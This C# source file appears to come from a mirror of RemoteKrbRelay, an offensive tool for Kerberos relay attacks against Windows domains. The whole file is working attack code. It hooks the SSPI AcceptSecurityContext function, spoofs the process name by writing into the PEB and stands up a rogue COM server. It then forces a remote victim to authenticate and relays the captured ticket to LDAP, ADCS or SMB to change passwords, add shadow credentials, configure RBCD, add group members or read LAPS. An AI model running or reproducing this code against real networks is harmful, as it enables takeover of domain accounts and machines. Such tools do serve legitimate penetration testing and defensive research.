mirror of
https://github.com/rtecCyberSec/RemoteKrbRelay
synced 2026-06-08 17:15:13 +00:00
369 lines
16 KiB
C#
369 lines
16 KiB
C#
using NetFwTypeLib;
|
|
using RemoteKrbRelay.Helpers;
|
|
using RemoteKrbRelay.Relay.Com;
|
|
using System;
|
|
using System.Diagnostics;
|
|
using System.Linq;
|
|
using System.Net.NetworkInformation;
|
|
using System.Runtime.InteropServices;
|
|
using System.Text;
|
|
using static RemoteKrbRelay.Helpers.Natives;
|
|
|
|
namespace RemoteKrbRelay.Relay
|
|
{
|
|
class Relay
|
|
{
|
|
public static Guid clsId_guid = new Guid(Options.clsid);
|
|
public static SECURITY_HANDLE ldap_phCredential = new SECURITY_HANDLE();
|
|
public static IntPtr ld = IntPtr.Zero;
|
|
public static byte[] apRep1 = { };
|
|
public static byte[] apRep2 = { };
|
|
public static byte[] ticket = { };
|
|
|
|
public static void InitializeCOMServer()
|
|
{
|
|
Debug.WriteLine("[*] Rewriting Function Table");
|
|
var functionTable = InitSecurityInterface();
|
|
Debug.WriteLine($"[!] functionTable: {functionTable}");
|
|
|
|
var table = (SecurityFunctionTable)Marshal.PtrToStructure(functionTable, typeof(SecurityFunctionTable));
|
|
Debug.WriteLine($"[!] Old AcceptSecurityContex: {table.AcceptSecurityContex}");
|
|
|
|
var AcceptSecurityContextDeleg = new AcceptSecurityContextFunc(AcceptSecurityContext_); ;
|
|
|
|
var bAcceptSecurityContext = BitConverter.GetBytes(Marshal.GetFunctionPointerForDelegate(AcceptSecurityContextDeleg).ToInt64());
|
|
var oAcceptSecurityContext = RemoteKrbRelay.Helpers.Helpers.FieldOffset<SecurityFunctionTable>("AcceptSecurityContex");
|
|
Marshal.Copy(bAcceptSecurityContext, 0, (IntPtr)functionTable + oAcceptSecurityContext, bAcceptSecurityContext.Length);
|
|
|
|
table = (SecurityFunctionTable)Marshal.PtrToStructure(functionTable, typeof(SecurityFunctionTable));
|
|
Debug.WriteLine($"[!] New AcceptSecurityContex: {table.AcceptSecurityContex}");
|
|
|
|
|
|
Debug.WriteLine("[*] Rewriting PEB");
|
|
var dwAuthnSvc = 16;
|
|
var pPrincipalName = Options.spn;
|
|
|
|
var svcs = new SOLE_AUTHENTICATION_SERVICE[] {
|
|
new SOLE_AUTHENTICATION_SERVICE() {
|
|
dwAuthnSvc = dwAuthnSvc,
|
|
pPrincipalName = pPrincipalName
|
|
}
|
|
};
|
|
|
|
var fileName = new StringBuilder(1024);
|
|
GetModuleFileName(IntPtr.Zero, fileName, fileName.Capacity);
|
|
Debug.WriteLine($"[!] Current GetModuleFileName(): {fileName}");
|
|
|
|
Debug.WriteLine("[!] Changing Module File Name");
|
|
var str = SetProcessModuleName(Options.moduleName);
|
|
|
|
Debug.WriteLine("[!] Changed!");
|
|
|
|
try
|
|
{
|
|
GetModuleFileName(IntPtr.Zero, fileName, fileName.Capacity);
|
|
Debug.WriteLine($"[!] Current GetModuleFileName(): {fileName}");
|
|
Debug.WriteLine("[*] Init com server");
|
|
var status = CoInitializeSecurity(IntPtr.Zero, svcs.Length, svcs,
|
|
IntPtr.Zero, AuthnLevel.RPC_C_AUTHN_LEVEL_CONNECT,
|
|
ImpLevel.RPC_C_IMP_LEVEL_IMPERSONATE, IntPtr.Zero,
|
|
EOLE_AUTHENTICATION_CAPABILITIES.EOAC_DYNAMIC_CLOAKING,
|
|
IntPtr.Zero);
|
|
|
|
if (status != 0)
|
|
{
|
|
Console.WriteLine($"CoInitializeSecurity Error: 0x{status:X8}. Exploit will fail.");
|
|
Environment.Exit(0);
|
|
}
|
|
}
|
|
finally
|
|
{
|
|
//Debug.WriteLine("[!] Restoring Module FileName");
|
|
//var str2 = SetProcessModuleName(str);
|
|
fileName.Clear();
|
|
//GetModuleFileName(IntPtr.Zero, fileName, fileName.Capacity);
|
|
//Debug.WriteLine($"[!] GetModuleFileName: {fileName}");
|
|
}
|
|
}
|
|
public static string SetProcessModuleName(string s)
|
|
{
|
|
var hProcess = GetCurrentProcess();
|
|
var pbi = new PROCESS_BASIC_INFORMATION();
|
|
UInt32 RetLen = 0;
|
|
IntPtr temp;
|
|
NtQueryInformationProcess(hProcess, 0, ref pbi, Marshal.SizeOf(pbi), ref RetLen);
|
|
|
|
var pProcessParametersOffset = (IntPtr)(pbi.PebBaseAddress + 0x20);
|
|
var addrBuf = new byte[IntPtr.Size];
|
|
ReadProcessMemory(hProcess, pProcessParametersOffset, addrBuf, addrBuf.Length, out temp);
|
|
IntPtr processParametersOffset = (IntPtr)BitConverter.ToInt64(addrBuf, 0);
|
|
IntPtr imagePathNameOffset = processParametersOffset + 0x060;
|
|
Debug.WriteLine($"[!] processParametersOffset: 0x{processParametersOffset.ToInt64()}");
|
|
Debug.WriteLine($"[!] ImagePathNameOffset: 0x{imagePathNameOffset.ToInt64()}");
|
|
|
|
var addrBuf2 = new byte[Marshal.SizeOf(typeof(UNICODE_STRING))];
|
|
ReadProcessMemory(hProcess, imagePathNameOffset, addrBuf2, addrBuf2.Length, out temp);
|
|
var str = RemoteKrbRelay.Helpers.Helpers.ReadStruct<UNICODE_STRING>(addrBuf2);
|
|
var addrBuf3 = new byte[str.Length];
|
|
ReadProcessMemory(hProcess, str.Buffer, addrBuf3, addrBuf3.Length, out temp);
|
|
var oldName = Encoding.Unicode.GetString(addrBuf3);
|
|
|
|
var b = Encoding.Unicode.GetBytes(s + "\x00");
|
|
WriteProcessMemory(hProcess, str.Buffer, b, b.Length, out temp);
|
|
|
|
CloseHandle(hProcess);
|
|
return oldName;
|
|
}
|
|
|
|
[STAThread]
|
|
public static SecStatusCode AcceptSecurityContext_([In] SecHandle phCredential, [In] SecHandle phContext, [In] SecurityBufferDescriptor pInput, AcceptContextReqFlags fContextReq, SecDataRep TargetDataRep, [In, Out] SecHandle phNewContext, [In, Out] IntPtr pOutput, out AcceptContextRetFlags pfContextAttr, [Out] SECURITY_INTEGER ptsExpiry)
|
|
{
|
|
if (apRep1.Length == 0)
|
|
{
|
|
ticket = pInput.ToByteArray().Take(pInput.ToByteArray().Length - 32).ToArray();
|
|
var ticketOffset = RemoteKrbRelay.Helpers.Helpers.PatternAt(ticket, new byte[] { 0x6e, 0x82 }); // 0x6e, 0x82, 0x06
|
|
ticket = ticket.Skip(ticketOffset).ToArray();
|
|
ticket = RemoteKrbRelay.Helpers.Helpers.ConvertApReq(ticket);
|
|
if (ticket[0] != 0x60)
|
|
{
|
|
Console.WriteLine("[-] Received invalid apReq, exploit will fail");
|
|
Console.WriteLine("{0}", RemoteKrbRelay.Helpers.Helpers.ByteArrayToString(ticket));
|
|
Environment.Exit(0);
|
|
}
|
|
else
|
|
{
|
|
Console.WriteLine("[*] apReq: {0}", RemoteKrbRelay.Helpers.Helpers.ByteArrayToString(ticket));
|
|
}
|
|
}
|
|
else
|
|
{
|
|
Console.WriteLine($"[+] Received Kerberos Auth from {Options.victim} with ticket on {Options.spn}");
|
|
apRep2 = pInput.ToByteArray().Take(pInput.ToByteArray().Length - 32).ToArray();
|
|
var apRep2Offset = RemoteKrbRelay.Helpers.Helpers.PatternAt(apRep2, new byte[] { 0x6f }, true);
|
|
apRep2 = apRep2.Skip(apRep2Offset).ToArray();
|
|
ticket = apRep2;
|
|
Console.WriteLine("[*] apRep2: {0}", RemoteKrbRelay.Helpers.Helpers.ByteArrayToString(ticket));
|
|
}
|
|
|
|
if (!Options.attackDone)
|
|
{
|
|
switch (Options.attackType)
|
|
{
|
|
case Options.Attack.ADCS:
|
|
Http.Relay();
|
|
break;
|
|
case Options.Attack.ChangePass:
|
|
case Options.Attack.ShadowCred:
|
|
case Options.Attack.RBCD:
|
|
case Options.Attack.AddGroupMember:
|
|
case Options.Attack.Laps:
|
|
case Options.Attack.LdapWhoami:
|
|
LDAP.Relay();
|
|
break;
|
|
case Options.Attack.SMB:
|
|
Smb.Relay();
|
|
break;
|
|
default:
|
|
Console.WriteLine("[!] Dont forget about adding your attack in AcceptSecurityContext() :)");
|
|
Environment.Exit(0);
|
|
break;
|
|
}
|
|
}
|
|
|
|
|
|
var pOutput2 = new SecurityBufferDescriptor(12288);
|
|
|
|
var buffer = new SecurityBuffer(apRep1);
|
|
var size = Marshal.SizeOf(buffer);
|
|
var size2 = apRep1.Length;
|
|
var BufferPtr = Marshal.AllocHGlobal(size);
|
|
Marshal.StructureToPtr(buffer, BufferPtr, false);
|
|
|
|
var BufferBytes = new byte[size];
|
|
Marshal.Copy(BufferPtr, BufferBytes, 0, size);
|
|
var ogSecDesc = (SecurityBufferDescriptor)Marshal.PtrToStructure(pOutput, typeof(SecurityBufferDescriptor));
|
|
var ogSecBuffer = (SecurityBuffer)Marshal.PtrToStructure(ogSecDesc.BufferPtr, typeof(SecurityBuffer));
|
|
|
|
var ret = AcceptSecurityContext(phCredential, phContext, pInput, fContextReq, TargetDataRep, phNewContext, pOutput2, out pfContextAttr, ptsExpiry);
|
|
|
|
|
|
if (ret != 0 && ret != SecStatusCode.SEC_I_CONTINUE_NEEDED)
|
|
{
|
|
Console.WriteLine($"[-] AcceptSecurityContext() failed with err: {ret}");
|
|
Console.WriteLine("[?] May be u should trigger again...");
|
|
}
|
|
|
|
if (apRep2.Length == 0)
|
|
{
|
|
var nbytes = new byte[254];
|
|
Marshal.Copy(apRep1, 0, ogSecBuffer.Token + 116, apRep1.Length); // verify this 116 offset?
|
|
Marshal.Copy(nbytes, 0, ogSecBuffer.Token + apRep1.Length + 116, nbytes.Length); // xD I trust u bro
|
|
}
|
|
|
|
if (!Options.attackDone)
|
|
{
|
|
Console.WriteLine("[*] AcceptSecurityContext: {0}", ret);
|
|
Console.WriteLine("[*] fContextReq: {0}", fContextReq);
|
|
}
|
|
return ret;
|
|
}
|
|
|
|
public static void Run()
|
|
{
|
|
if (Options.RequiresDomainController(Options.attackType))
|
|
{
|
|
var ldap_ptsExpiry = new SECURITY_INTEGER();
|
|
var status = AcquireCredentialsHandle(null, "Negotiate", 2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, ref ldap_phCredential, IntPtr.Zero);
|
|
|
|
var timeout = new LDAP_TIMEVAL
|
|
{
|
|
tv_sec = (int)(new TimeSpan(0, 0, 60).Ticks / TimeSpan.TicksPerSecond)
|
|
};
|
|
|
|
ld = ldap_init(Options.domainController, (uint)Options.ldapPort);
|
|
|
|
|
|
uint LDAP_OPT_ON = 1;
|
|
uint LDAP_OPT_OFF = 1;
|
|
uint version = 3;
|
|
var ldapStatus = ldap_set_option(ld, 0x11, ref version);
|
|
|
|
if (Options.useSSL)
|
|
{
|
|
ldap_get_option(ld, 0x0a, out int lv); //LDAP_OPT_SSL
|
|
if (lv == 0)
|
|
ldap_set_option(ld, 0x0a, ref LDAP_OPT_ON);
|
|
|
|
ldap_get_option(ld, 0x0095, out lv); //LDAP_OPT_SIGN
|
|
if (lv == 0)
|
|
ldap_set_option(ld, 0x0095, ref LDAP_OPT_ON);
|
|
|
|
ldap_get_option(ld, 0x0096, out lv); //LDAP_OPT_ENCRYPT
|
|
if (lv == 0)
|
|
ldap_set_option(ld, 0x0096, ref LDAP_OPT_ON);
|
|
|
|
ldap_set_option(ld, 0x81, Marshal.GetFunctionPointerForDelegate<VERIFYSERVERCERT>((connection, serverCert) => true));
|
|
}
|
|
|
|
ldapStatus = ldap_connect(ld, timeout);
|
|
if (ldapStatus != 0)
|
|
{
|
|
Console.WriteLine("[-] Could not connect to {0}. ldap_connect failed with error code 0x{1}", Options.domainController, ldapStatus.ToString("x2"));
|
|
return;
|
|
}
|
|
}
|
|
|
|
if (!checkPort(int.Parse(Options.port)))
|
|
{
|
|
Console.WriteLine("[+] Looking for available ports..");
|
|
Options.port = checkPorts(new[] { Options.moduleName }).ToString();
|
|
if (Options.port == "-1")
|
|
{
|
|
Console.WriteLine("[-] No available ports found");
|
|
Console.WriteLine("[-] Firewall will block our COM connection. Exiting");
|
|
return;
|
|
}
|
|
}
|
|
|
|
Console.WriteLine("[+] Setting UP Rogue COM at port {0}", Options.port);
|
|
|
|
Console.WriteLine("[+] Registering...");
|
|
var ba = ComUtils.GetMarshalledObject(new object());
|
|
COMObjRefStandard std = (COMObjRefStandard)COMObjRef.FromArray(ba);
|
|
Debug.WriteLine($"[*] IPID: {std.Ipid}");
|
|
Debug.WriteLine($"[!] OXID: {std.Oxid:X08}");
|
|
Debug.WriteLine($"[!] OID : {std.Oid:X08}");
|
|
Console.WriteLine("[+] Register success");
|
|
|
|
std.StringBindings.Clear();
|
|
Debug.WriteLine($"[!] Adding {Options.local} to OBJREF");
|
|
// What about? RpcTowerId.NetbiosTcp....
|
|
// UPD: Firewall....
|
|
std.StringBindings.Add(new COMStringBinding(RpcTowerId.Tcp, Options.local));
|
|
Debug.WriteLine($"[?] OBJREF: {std.ToMoniker()}");
|
|
|
|
RpcServerUseProtseqEp("ncacn_ip_tcp", 20, Options.port, IntPtr.Zero);
|
|
RpcServerRegisterAuthInfo(null, 16, IntPtr.Zero, IntPtr.Zero);
|
|
|
|
IStorage stg;
|
|
ILockBytes lb;
|
|
int result;
|
|
result = Ole32.CreateILockBytesOnHGlobal(IntPtr.Zero, true, out ILockBytes lockBytes);
|
|
result = Ole32.StgCreateDocfileOnILockBytes(lockBytes, Ole32.STGM.CREATE | Ole32.STGM.READWRITE | Ole32.STGM.SHARE_EXCLUSIVE, 0, out IStorage storage);
|
|
var qis = new Ole32.MULTI_QI[1];
|
|
|
|
var storageTrigger = new StorageTrigger(storage, Options.local, TowerProtocol.EPM_PROTOCOL_TCP, std);
|
|
qis[0].pIID = Ole32.IID_IUnknownPtr;
|
|
qis[0].pItf = null;
|
|
qis[0].hr = 0;
|
|
|
|
Console.WriteLine("[+] Forcing Authentication");
|
|
Console.WriteLine($"[+] Using CLSID: {Options.clsid_guid}");
|
|
|
|
var c = new RemoteKrbRelay.Relay.Ole32.COSERVERINFO();
|
|
c.pwszName = Options.victim;
|
|
Debug.WriteLine($"[!] Triggering {c.pwszName}");
|
|
|
|
var pComAct = (IStandardActivator)new StandardActivator();
|
|
var CLSID_ComActivator = new Guid("{0000033C-0000-0000-c000-000000000046}");
|
|
var IID_IStandardActivator = typeof(IStandardActivator).GUID;
|
|
var result2 = Ole32.CoCreateInstance(ref CLSID_ComActivator, null, 0x1, ref IID_IStandardActivator, out object instance);
|
|
Debug.WriteLine($"[*] CoCreateInstance() returns {result2}");
|
|
pComAct = (IStandardActivator)instance;
|
|
|
|
var props = (ISpecialSystemPropertiesActivator)pComAct;
|
|
|
|
if (!string.IsNullOrEmpty(Options.session))
|
|
{
|
|
var session = Convert.ToInt32(Options.session);
|
|
Console.WriteLine($"[?] Trying to trigger authentication from session {session}");
|
|
props.SetSessionId(session, 0, 1);
|
|
}
|
|
|
|
try
|
|
{
|
|
result = pComAct.StandardGetInstanceFromIStorage(c, Options.clsid_guid, IntPtr.Zero, Ole32.CLSCTX.CLSCTX_REMOTE_SERVER, storageTrigger, 1, qis);
|
|
}
|
|
catch (Exception e)
|
|
{
|
|
Console.WriteLine(e);
|
|
}
|
|
|
|
|
|
Console.WriteLine("[+] That's all :)");
|
|
Debug.WriteLine("[!] EOF DEBUG");
|
|
return;
|
|
}
|
|
|
|
public static bool checkPort(int port, string name = "System")
|
|
{
|
|
var mgr = (INetFwMgr)Activator.CreateInstance(Type.GetTypeFromProgID("HNetCfg.FwMgr"));
|
|
if (!mgr.LocalPolicy.CurrentProfile.FirewallEnabled)
|
|
{
|
|
return true;
|
|
}
|
|
mgr.IsPortAllowed(name, NET_FW_IP_VERSION_.NET_FW_IP_VERSION_ANY, port, "", NET_FW_IP_PROTOCOL_.NET_FW_IP_PROTOCOL_TCP, out object allowed, out object restricted);
|
|
return (bool)allowed;
|
|
}
|
|
|
|
public static int checkPorts(string[] names)
|
|
{
|
|
var ipGlobalProperties = IPGlobalProperties.GetIPGlobalProperties();
|
|
var tcpConnInfoArray = ipGlobalProperties.GetActiveTcpListeners();
|
|
var tcpPorts = tcpConnInfoArray.Select(i => i.Port).ToList();
|
|
|
|
foreach (string name in names)
|
|
{
|
|
for (int i = 1; i < 65535; i++)
|
|
{
|
|
if (checkPort(i, name) && !tcpPorts.Contains(i))
|
|
{
|
|
return i;
|
|
}
|
|
}
|
|
}
|
|
return -1;
|
|
}
|
|
}
|
|
}
|